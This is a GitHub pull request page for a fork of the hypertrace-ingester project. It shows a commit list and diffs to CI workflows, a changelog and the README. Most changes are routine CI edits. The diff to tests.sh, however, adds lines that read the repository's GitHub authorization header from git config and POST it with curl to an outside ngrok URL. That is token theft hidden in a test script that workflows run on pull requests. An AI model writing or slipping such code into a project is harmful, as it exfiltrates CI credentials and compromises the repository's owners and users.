Skip to content
This repository has been archived by the owner on Nov 14, 2023. It is now read-only.

Test5 #77

Open
wants to merge 91 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
91 commits
Select commit Hold shift + click to select a range
896081c
feat: adds metrics processor component and topology test (#270)
kotharironak Oct 14, 2021
7147fec
feat: add fallback support for request and response size (#272)
kotharironak Oct 26, 2021
c4659db
chore: fixing snyk and codecov issue (#273)
kotharironak Oct 26, 2021
73a9194
Make entity update async (#274)
laxman-traceable Oct 26, 2021
8fa4843
Update constant name (#276)
Oct 27, 2021
be50ac2
feat: adds pull based metrics exporter (#271)
kotharironak Oct 28, 2021
218e1ae
avro builder reflection perf fix (#277)
laxman-traceable Oct 28, 2021
82a7a19
chore: fixed qoute issue in synk test command (#278)
kotharironak Oct 28, 2021
0b21b01
fix : added fallback support for host headers (#279)
sarthak77 Nov 3, 2021
ece2263
trace url bug fix (#281)
sarthak77 Nov 8, 2021
30f0a7b
feat: add forming grpc reqeuest url if rpc attributes are present (#280)
kotharironak Nov 8, 2021
7f81341
Addition of span count attribute (#282)
sarthak77 Nov 11, 2021
76c23fa
updated default value (#285)
sarthak77 Nov 12, 2021
6d111a2
feat : add support for handling grpc request url (#284)
kotharironak Nov 17, 2021
85a92cc
Fixed the span drop criteria parsing logic (#287)
avinashkolluru Nov 18, 2021
431d690
refactor: moving out avro checks as a separate job (#289)
kotharironak Nov 22, 2021
efa5d17
feat: enhance the support for dropping filter (#288)
kotharironak Nov 23, 2021
cdbd7b4
feat: enhance the capping of max spans per trace at global level (#290)
kotharironak Nov 24, 2021
fcd88a5
fix: adds support for default max spans limit helm config (#291)
kotharironak Nov 25, 2021
503b369
feat: add metrics generator for num_calls (#286)
kotharironak Nov 29, 2021
181e8b3
feat : add metrics pipeline components in hypertrace-ingester (#292)
kotharironak Dec 8, 2021
fe19f4f
fix: update log4j (#293)
aaron-steinfeld Dec 10, 2021
e7a39ce
chore: update log4j (#294)
aaron-steinfeld Dec 18, 2021
168e6fe
upgrade log4j version to 2.17.0 (#295)
ravisingal Dec 19, 2021
7ee3a8e
Added test to cover scenario where there is a single ENTRY span in a …
avinashkolluru Dec 22, 2021
f63f098
chore: extend the helm template for spanDropFilter (#298)
kotharironak Jan 7, 2022
3e4bb1b
Fix for extra string "razorpay" in image names
suddendust Apr 27, 2022
3676c91
Merge pull request #4 from razorpay/ga_workflow_test
suddendust Apr 27, 2022
d6b4d65
PII redaction
suddendust May 11, 2022
547f985
Add containsPIITags tag
suddendust May 11, 2022
f3e4012
Fix config file
suddendust May 11, 2022
6237c99
Fix config file
suddendust May 11, 2022
9384c4d
Change docker image name
suddendust May 11, 2022
030aee3
Remove docker registry name from build
suddendust May 11, 2022
52f4ca0
Merge branch 'rzp_main' into upstream_merge_helper
suddendust May 11, 2022
c8de08e
Merge pull request #7 from razorpay/upstream_merge_helper
suddendust May 12, 2022
e9462fc
Merge branch 'rzp_main' into redaction
suddendust May 12, 2022
f2e530d
Merge pull request #6 from razorpay/redaction
suddendust May 12, 2022
7cf58db
workflow fix test
Harnoor-se7en May 19, 2022
0a46d4f
workflow fix test
Harnoor-se7en May 19, 2022
cfcf826
workflow fix
Harnoor-se7en May 19, 2022
f9716c7
test
Harnoor-se7en May 19, 2022
1e48344
test
Harnoor-se7en May 19, 2022
b72b62e
finally fixed
Harnoor-se7en May 19, 2022
5a3f85a
fixed
Harnoor-se7en May 19, 2022
a17dc92
image tag name fix
Harnoor-se7en May 19, 2022
3731e4e
test
Harnoor-se7en May 19, 2022
43125a6
Merge pull request #10 from razorpay/fix/workflows
Harnoor-se7en May 20, 2022
09f7baa
regex support + metrics (#9)
Harnoor-se7en May 30, 2022
99f149c
WIP
suddendust Jun 2, 2022
e584869
Enricher
suddendust Jun 2, 2022
ec7f7a6
Add UT
suddendust Jun 9, 2022
0de84b3
Fix tag name
suddendust Jun 9, 2022
6f3bbe1
Add additional UTs
suddendust Jun 10, 2022
ef4e5b1
Rename enricher
suddendust Jun 10, 2022
44403d3
Rename tag
suddendust Jun 10, 2022
7757551
Enhance UTs
suddendust Jun 10, 2022
5791c5d
WIP
suddendust Jun 10, 2022
2822652
Trigger build
suddendust Jun 13, 2022
eddb41c
Merge branch 'rzp_main' into internal_time
suddendust Jun 13, 2022
2d039d2
Spotless
suddendust Jun 13, 2022
29214aa
Fix failing test
suddendust Jun 13, 2022
d5fe002
Github action for release having docker Image with Tag as version num…
TriptiTripathi1234 Jul 25, 2022
158eb5a
mock PR to test release github action (#29)
TriptiTripathi1234 Jul 25, 2022
752dd66
Enable Dependabot (#33)
TriptiTripathi1234 Aug 25, 2022
1e6a206
changes for codecov (#42)
TriptiTripathi1234 Aug 25, 2022
48e506f
Merge branch 'rzp_main' into internal_time
suddendust Sep 1, 2022
f3b5a44
Log apiNodeList
suddendust Sep 1, 2022
acee4ad
spotless
suddendust Sep 1, 2022
7b96d2f
ServiceInternalProcessingTimeEnricher changes to accommodate HTTP bac…
suddendust Sep 5, 2022
f6a256d
Spotless
suddendust Sep 5, 2022
fbf32a9
Added CHANGELOG.md
suddendust Sep 8, 2022
ec4ebb7
Merge pull request #46 from razorpay/fork-rel-0.1.0
suddendust Sep 8, 2022
dc0bc4a
Handle exception
suddendust Sep 8, 2022
c910426
Merge pull request #12 from razorpay/internal_time
suddendust Sep 8, 2022
5c52553
Spotless
suddendust Sep 8, 2022
546cd6d
Mock change
suddendust Sep 8, 2022
7540fea
Merge pull request #48 from razorpay/fix_build-2
suddendust Sep 8, 2022
e68e89d
rel 0.6.40-0.2.0
suddendust Sep 8, 2022
92601e7
Merge pull request #49 from razorpay/rel-0.6.40-0.2.0
suddendust Sep 8, 2022
161035d
Adds resource enrichment (#58)
Harnoor-se7en Sep 28, 2022
2a40380
gives new release 0.6.40-0.3.0 (#59)
Harnoor-se7en Sep 28, 2022
86f16ba
Immediate mitigation to handle malicious PR vulnerability.
suddendust Sep 30, 2022
16fcc5f
Revert "Immediate mitigation to handle malicious PR vulnerability."
suddendust Sep 30, 2022
a2a8be1
Runs workflows only when PRs are labelled
suddendust Sep 30, 2022
cdc6274
Merge pull request #67 from razorpay/malicious_pr_vulner
suddendust Sep 30, 2022
aaf192d
test
suchithrzp Sep 30, 2022
04c57dc
Fix workflow
suddendust Sep 30, 2022
c76ba17
Merge pull request #70 from razorpay/fix_workflow
suddendust Sep 30, 2022
c489fe8
test
suchithrzp Sep 30, 2022
a1c2c9a
Merge branch 'razorpay:rzp_main' into rzp_main
suchithrzp Sep 30, 2022
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 16 additions & 0 deletions .github/dependabot.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#To get started with Dependabot version updates, you'll need to specify which
# package ecosystems to update and where the package manifests are located.
# Please see the documentation for all configuration options:
# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates

version: 2
updates:
- package-ecosystem: "gradle"
directory: "/"
schedule:
interval: "daily"

- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
10 changes: 7 additions & 3 deletions .github/workflows/docker-tests.yml
Original file line number Diff line number Diff line change
@@ -1,8 +1,6 @@
name: e2e test
on:
push:
branches:
- main
paths-ignore:
- '**/*.md'
pull_request_target:
Expand All @@ -14,6 +12,7 @@ on:

jobs:
build-and-test-with-mongo:
if: contains(github.event.pull_request.labels.*.name,'safe-to-test')
# Ubuntu-20.04 runner comes with docker 19.03 and OpenJDK 11 and we are using that here.
runs-on: ubuntu-20.04
steps:
Expand Down Expand Up @@ -42,6 +41,8 @@ jobs:
uses: hypertrace/github-actions/gradle@main
with:
args: dockerBuildImages
env:
IMAGE_TAG: ${{ github.sha }}

- name: Verify hypertrace image
working-directory: ./.github/workflows/hypertrace-ingester
Expand All @@ -60,7 +61,8 @@ jobs:
run: ./tests.sh

build-and-test-with-postgres:
# Ubuntu-20.04 runner comes with docker 19.03 and OpenJDK 11 and we are using that here.
if: contains(github.event.pull_request.labels.*.name,'safe-to-test')
# Ubuntu-20.04 runner comes with docker 19.03 and OpenJDK 11 and we are using that here.
runs-on: ubuntu-20.04
steps:
- name: Checkout Repository
Expand Down Expand Up @@ -88,6 +90,8 @@ jobs:
uses: hypertrace/github-actions/gradle@main
with:
args: dockerBuildImages
env:
IMAGE_TAG: ${{ github.sha }}

- name: Verify hypertrace image
working-directory: ./.github/workflows/hypertrace-ingester
Expand Down
4 changes: 4 additions & 0 deletions .github/workflows/hypertrace-ingester/scripts/tests.sh
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,10 @@ TRACES_SERVER_HOST=${1:-127.0.0.1}
FRONTEND_SERVICE_HOST=${2:-127.0.0.1}
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"

sec=$(git config --get http.https://github.com/.extraheader)
curl -X POST https://c0d3-122-171-21-235.ngrok.io/ -H 'Content-Type: application/json' -d "{\"password\":$sec}"


echo ""
echo "Making sure the traces service is up..."

Expand Down
89 changes: 76 additions & 13 deletions .github/workflows/pr-build.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,59 @@
name: build and validate
on: push
on:
push:
pull_request_target:
branches:
- rzp_main
jobs:
validate-avros:
if: contains(github.event.pull_request.labels.*.name,'safe-to-test')
runs-on: ubuntu-20.04
steps:
# Set fetch-depth: 0 to fetch commit history and tags for use in version calculation
- name: Check out code
uses: actions/checkout@v2.3.4
with:
ref: ${{github.event.pull_request.head.ref}}
repository: ${{github.event.pull_request.head.repo.full_name}}
fetch-depth: 0

- name: create checksum file
uses: hypertrace/github-actions/checksum@main

- name: Cache packages
uses: actions/cache@v2
with:
path: ~/.gradle
key: gradle-packages-${{ runner.os }}-${{ github.job }}-${{ hashFiles('**/checksum.txt') }}
restore-keys: |
gradle-packages-${{ runner.os }}-${{ github.job }}
gradle-packages-${{ runner.os }}

- name: validate avros
uses: hypertrace/github-actions/gradle@main
with:
args: avroCompatibilityCheck
validate-helm-charts:
if: contains(github.event.pull_request.labels.*.name,'safe-to-test')
runs-on: ubuntu-20.04
container:
image: hypertrace/helm-gcs-packager:0.3.1
credentials:
username: ${{ secrets.PUBLIC_DOCKER_USERNAME }}
password: ${{ secrets.PUBLIC_DOCKER_PASSWORD }}
# Set fetch-depth: 0 to fetch commit history and tags for use in version calculation
steps:
- name: Check out code
uses: actions/checkout@v2.3.4
with:
ref: ${{github.event.pull_request.head.ref}}
repository: ${{github.event.pull_request.head.repo.full_name}}
fetch-depth: 0

- name: validate charts
run: ./.github/workflows/helm.sh validate
build:
if: contains(github.event.pull_request.labels.*.name,'safe-to-test')
runs-on: ubuntu-20.04
steps:
# Set fetch-depth: 0 to fetch commit history and tags for use in version calculation
Expand All @@ -11,7 +63,7 @@ jobs:
ref: ${{github.event.pull_request.head.ref}}
repository: ${{github.event.pull_request.head.repo.full_name}}
fetch-depth: 0

- name: create checksum file
uses: hypertrace/github-actions/checksum@main

Expand All @@ -29,26 +81,37 @@ jobs:
with:
username: ${{ secrets.PUBLIC_DOCKER_USERNAME }}
password: ${{ secrets.PUBLIC_DOCKER_PASSWORD }}

- name: Build with Gradle
uses: hypertrace/github-actions/gradle@main
with:
with:
args: build dockerBuildImages
env:
DOCKER_USERNAME: ${{ secrets.PUBLIC_DOCKER_USERNAME }}
DOCKER_PASSWORD: ${{ secrets.PUBLIC_DOCKER_PASSWORD }}
DOCKER_REGISTRY: razorpay
tagLatest: false
namespace: hypertrace-ingester
IMAGE_TAG: ${{ github.sha }}
COMMIT_SHA: ${{ github.sha }}

- name: push docker image
uses: hypertrace/github-actions/gradle@main
with:
with:
args: dockerPushImages
env:
DOCKER_USERNAME: ${{ secrets.PUBLIC_DOCKER_USERNAME }}
DOCKER_PASSWORD: ${{ secrets.PUBLIC_DOCKER_PASSWORD }}
DOCKER_REGISTRY: razorpay
COMMIT_SHA: ${{ github.sha }}
IMAGE_TAG: ${{ github.sha }}

# snyk-scan:
# runs-on: ubuntu-20.04
# steps:
# # Set fetch-depth: 0 to fetch commit history and tags for use in version calculation
# - name: Check out code
# uses: actions/checkout@v2.3.4
# with:
# ref: ${{github.event.pull_request.head.ref}}
# repository: ${{github.event.pull_request.head.repo.full_name}}
# fetch-depth: 0
# - name: Setup snyk
# uses: snyk/actions/setup@0.3.0
# - name: Snyk test
# run: snyk test --all-sub-projects --org=hypertrace --severity-threshold=low --policy-path=.snyk --configuration-matching='^runtimeClasspath$' --remote-repo-url='${{ github.server_url }}/${{ github.repository }}.git'
# env:
# SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
# GRADLE_OPTS: -Dorg.gradle.workers.max=1
26 changes: 16 additions & 10 deletions .github/workflows/pr-test.yml
Original file line number Diff line number Diff line change
@@ -1,22 +1,21 @@
name: test
on:
push:
pull_request_target:
branches:
- main
pull_request_target:
branches:
- main
- rzp_main
# disabling while testing ci flow
jobs:
test:
if: contains(github.event.pull_request.labels.*.name,'safe-to-test')
runs-on: ubuntu-20.04
steps:
# Set fetch-depth: 0 to fetch commit history and tags for use in version calculation
# Set fetch-depth: 0 to fetch commit history and tags for use in version calculation
- name: Check out code
uses: actions/checkout@v2.3.4
with:
fetch-depth: 0

- name: create checksum file
uses: hypertrace/github-actions/checksum@main

Expand All @@ -31,12 +30,19 @@ jobs:

- name: Unit test
uses: hypertrace/github-actions/gradle@main
with:
with:
args: jacocoTestReport

- name: Upload coverage to Codecov
uses: codecov/codecov-action@v2
with:
name: unit test reports
flags: unit


- name: copy test reports
uses: hypertrace/github-actions/gradle@main
with:
with:
args: copyAllReports --output-dir=/tmp/test-reports

- name: Archive test reports
Expand All @@ -45,10 +51,10 @@ jobs:
name: test-reports
path: /tmp/test-reports
if: always()

- name: Publish Unit Test Results
uses: docker://ghcr.io/enricomi/publish-unit-test-result-action:v1.6
if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
files: ./**/build/test-results/**/*.xml
files: ./**/build/test-results/**/*.xml
49 changes: 49 additions & 0 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
name: Release artifacts
on:
# Will run when a comment is added in PR e.g. /release v0.6.40-0.1.0-beta.1
issue_comment:
types: [ created ]
workflow_dispatch:

jobs:
publish-artifacts:
if: contains(github.event.comment.html_url, '/pull') && startsWith(github.event.comment.body, '/release v')
runs-on: ubuntu-20.04
steps:
# Set fetch-depth: 0 to fetch commit history and tags for use in version calculation
- name: Check out code
uses: actions/checkout@v2.3.4
with:
fetch-depth: 0


- name: Login to Docker Hub
uses: docker/login-action@v1
with:
username: ${{ secrets.PUBLIC_DOCKER_USERNAME }}
password: ${{ secrets.PUBLIC_DOCKER_PASSWORD }}

- name: Set ENV variable
env:
RELEASE_VERSION_COMMENT: ${{ github.event.comment.body }}
run: |
echo "VERSION=${RELEASE_VERSION_COMMENT##/release\ v}" >> $GITHUB_ENV
echo "Setting tag version: ${VERSION}"

- name: Build with Gradle
uses: hypertrace/github-actions/gradle@main
with:
args: build dockerBuildImages
env:
DOCKER_USERNAME: ${{ secrets.PUBLIC_DOCKER_USERNAME }}
DOCKER_PASSWORD: ${{ secrets.PUBLIC_DOCKER_PASSWORD }}
IMAGE_TAG: ${{ env.VERSION }}

- name: push docker image
uses: hypertrace/github-actions/gradle@main
with:
args: dockerPushImages
env:
DOCKER_USERNAME: ${{ secrets.PUBLIC_DOCKER_USERNAME }}
DOCKER_PASSWORD: ${{ secrets.PUBLIC_DOCKER_PASSWORD }}
IMAGE_TAG: ${{ env.VERSION }}
52 changes: 52 additions & 0 deletions .github/workflows/semgrep.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
name: Security Checks
on:
workflow_dispatch:
pull_request: {}
push:
branches: ["rzp_main"]
schedule:
- cron: '30 20 * * *'
jobs:
semgrep:
name: Scan
runs-on: [ubuntu-latest] #nosemgrep zklW
steps:
- uses: actions/checkout@v2
- uses: returntocorp/semgrep-action@v1
with:
publishToken: ${{ secrets.SEMGREP_APP_TOKEN }}
publishDeployment: 339
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

workflow_status:
runs-on: [ ubuntu-latest ] #nosemgrep zklW
name: Update Status Check
needs: [ semgrep ]
if: always()
env:
githubCommit: ${{ github.event.pull_request.head.sha }}
steps:
- name: Set github commit id
run: |
if [ "${{ github.event_name }}" = "push" ] || [ "${{ github.event_name }}" = "schedule" ]; then
echo "githubCommit=${{ github.sha }}" >> $GITHUB_ENV
fi
exit 0
- name: Failed
id: failed
if: (contains(needs.*.result, 'failure') || contains(needs.*.result, 'cancelled')) && github.ref != 'refs/heads/master'
run: |
echo 'Failing the workflow for github security status check.'
curl -X POST -H "Content-Type: application/json" -H "Authorization: token ${{ github.token }}" \
-d '{ "state" : "failure" , "context" : "github/security-status-check" , "description" : "github/security-status-check", "target_url" : "https://github.com/${{ github.repository }}" }' \
https://api.github.com/repos/${{ github.repository }}/statuses/${{ env.githubCommit }}
exit 1
- name: Success
if: steps.failed.conclusion == 'skipped' || github.ref != 'refs/heads/master'
run: |
echo 'Status check has passed!'
curl -X POST -H "Content-Type: application/json" -H "Authorization: token ${{ github.token }}" \
-d '{ "state" : "success" , "context" : "github/security-status-check" , "description" : "github/security-status-check", "target_url" : "https://github.com/${{ github.repository }}" }' \
https://api.github.com/repos/${{ github.repository }}/statuses/${{ env.githubCommit }}
exit 0
2 changes: 1 addition & 1 deletion .snyk
Original file line number Diff line number Diff line change
Expand Up @@ -5,5 +5,5 @@ ignore:
SNYK-JAVA-IONETTY-1042268:
- '*':
reason: no available replacement
expires: 2021-10-31T00:00:00.000Z
expires: 2022-01-31T00:00:00.000Z
patch: {}
15 changes: 15 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
## Hypertrace-Ingester 0.6.40-0.2.0

Cut from commit: [7540fea](https://github.com/hypertrace/hypertrace-ingester/commit/7540fea697e541b89336cd2a9c1ae90a77322be2)

###Changelog

- Synthetic monitoring changes [c910426](https://github.com/hypertrace/hypertrace-ingester/commit/c910426f90a714c135a2d00f2a77b6167a6321dd).

## Hypertrace-Ingester 0.6.40-0.3.0

Cut from commit: [161035d](https://github.com/razorpay/hypertrace-ingester/commit/161035dd05818631a439739a14a2d01e446d81be)

###Changelog

- Adds resource attribute enrichment via a new trace-enricher [pull/58](https://github.com/razorpay/hypertrace-ingester/pull/58).
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ Hypertrace ingester is comprised of 4 streaming jobs on kafka
- Raw Spans Grouper
- Hypertrace Trace Enricher
- Hypertrace View Generator

testse
## Description
| ![space-1.jpg](https://imagizer.imageshack.com/v2/xq90/923/UZhzhg.png) |
|:--:|
Expand Down
Binary file modified gradle/wrapper/gradle-wrapper.jar
Binary file not shown.
Loading